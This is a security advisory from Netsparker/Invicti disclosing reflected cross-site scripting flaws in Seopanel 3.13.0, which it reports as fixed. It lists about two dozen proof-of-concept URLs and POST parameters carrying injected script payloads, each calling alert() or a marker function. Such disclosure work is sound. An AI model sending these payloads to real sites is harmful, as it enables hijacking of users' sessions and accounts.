Multiple Reflected Cross-site Scripting Vulnerabilities in Seopanel 3.13.0

Information

Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting Vulnerabilities in Seopanel
Affected Software: Seopanel
Affected Versions: 3.13.0
Homepage: https://www.seopanel.in
Vulnerability: Multiple Reflected Cross-site Scripting Vulnerabilities
Severity: Medium
Status: Fixed
CVSS Score (3.0): 6.3
Invicti Advisory Reference: NS-18-022

Technical Details

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=show&nsparameter=aa');alert(1)//
Parameter Name: nsparameter
Parameter Type: GET
Attack Pattern: aa');alert(1)//

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?%27%2balert(0x00BCA2)%2b%27
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%2balert(0x00BCA2)%2b%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=%27%252Balert(9)%252B%27&description=&keywords=
Parameter Name: title
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=%2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Ealert%25280x00B7E7%2529%253C%252FscRipt%253E&userid=1&name=&url=http%3A%2F%2F&title=&description=&keywords=
Parameter Name: sec
Parameter Type: GET
Attack Pattern: %2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Ealert%25280x00B7E7%2529%253C%252FscRipt%253E

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=1&stscheck=3&nsextt=%27%252Balert(9)%252B%27
Parameter Name: nsextt
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=&description=&keywords=%27%252Balert(9)%252B%27&search_name=&stscheck=select
Parameter Name: keyword
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=%27%252Balert(9)%252B%27&url=http%3A%2F%2F&title=&description=&keywords=&search_name=&stscheck=select
Parameter Name: name
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=&description=&keywords=&search_name=%27%252Balert(9)%252B%27&stscheck=select
Parameter Name: search_name
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=1&stscheck=3&%27%2balert(0x0105C0)%2b%27=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%2balert(0x0105C0)%2b%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?menu_selected=themes-manager&start_script=%27%252Balert(9)%252B%27&sec=activate&theme_id=2&pageno=
Parameter Name: start_script
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=%27%252Balert(9)%252B%27&stscheck=3
Parameter Name: userid
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=%27%252Balert(9)%252B%27&title=&description=&keywords=
Parameter Name: url
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?search_name=Smith&userid=1&stscheck=%27%252Balert(9)%252B%27
Parameter Name: stscheck
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?menu_selected=themes-manager&start_script=themes-manager&sec=activate&theme_id=2&pageno=%27%252Balert(9)%252B%27
Parameter Name: pageno
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?sec=create&userid=1&name=&url=http%3A%2F%2F&title=&description=%27%252Balert(9)%252B%27&keywords=
Parameter Name: description
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/admin-panel.php?menu_selected=themes-manager&start_script=themes-manager&sec=activate&theme_id=%27%252Balert(9)%252B%27&pageno=
Parameter Name: theme_id
Parameter Type: GET
Attack Pattern: %27%252Balert(9)%252B%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/directories.php?sec=directorymgr&dir_name=&stscheck=1&capcheck=x%22%20onmouseover%3dalert(0x00BAF1)%20x%3d%22&pagerank=&langcode=
Parameter Name: capcheck
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x00BAF1)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/seo-plugins-manager.php?sec=listinfo&pid=1&pageno=x%22%20onmouseover%3dalert(0x00EC00)%20x%3d%22
Parameter Name: pageno
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x00EC00)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/settings.php?category=x%22%20onmouseover%3dalert(0x00B43C)%20x%3d%22
Parameter Name: category
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x00B43C)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/themes-manager.php?sec=activate&theme_id=2&pageno=%27%2balert(0x018E52)%2b%27
Parameter Name: pageno
Parameter Type: GET
Attack Pattern: %27%2balert(0x018E52)%2b%27

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: search_name
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: report_type
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL: http://testcases-vdb.ns.local:8081/seopanel/seopanel-3.13.0/?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/index.php?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: code
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/login.php?sec=forgot
Parameter Name: email
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x00497F)+x%3d%22

URL: http://{DOMAIN}/{PATH-OF-SEOPANEL}/support.php?'"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x000CF8)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

28th June 2018- First Contact
13th September 2018 – Vendor Fixed
30th November 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti

IInvicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.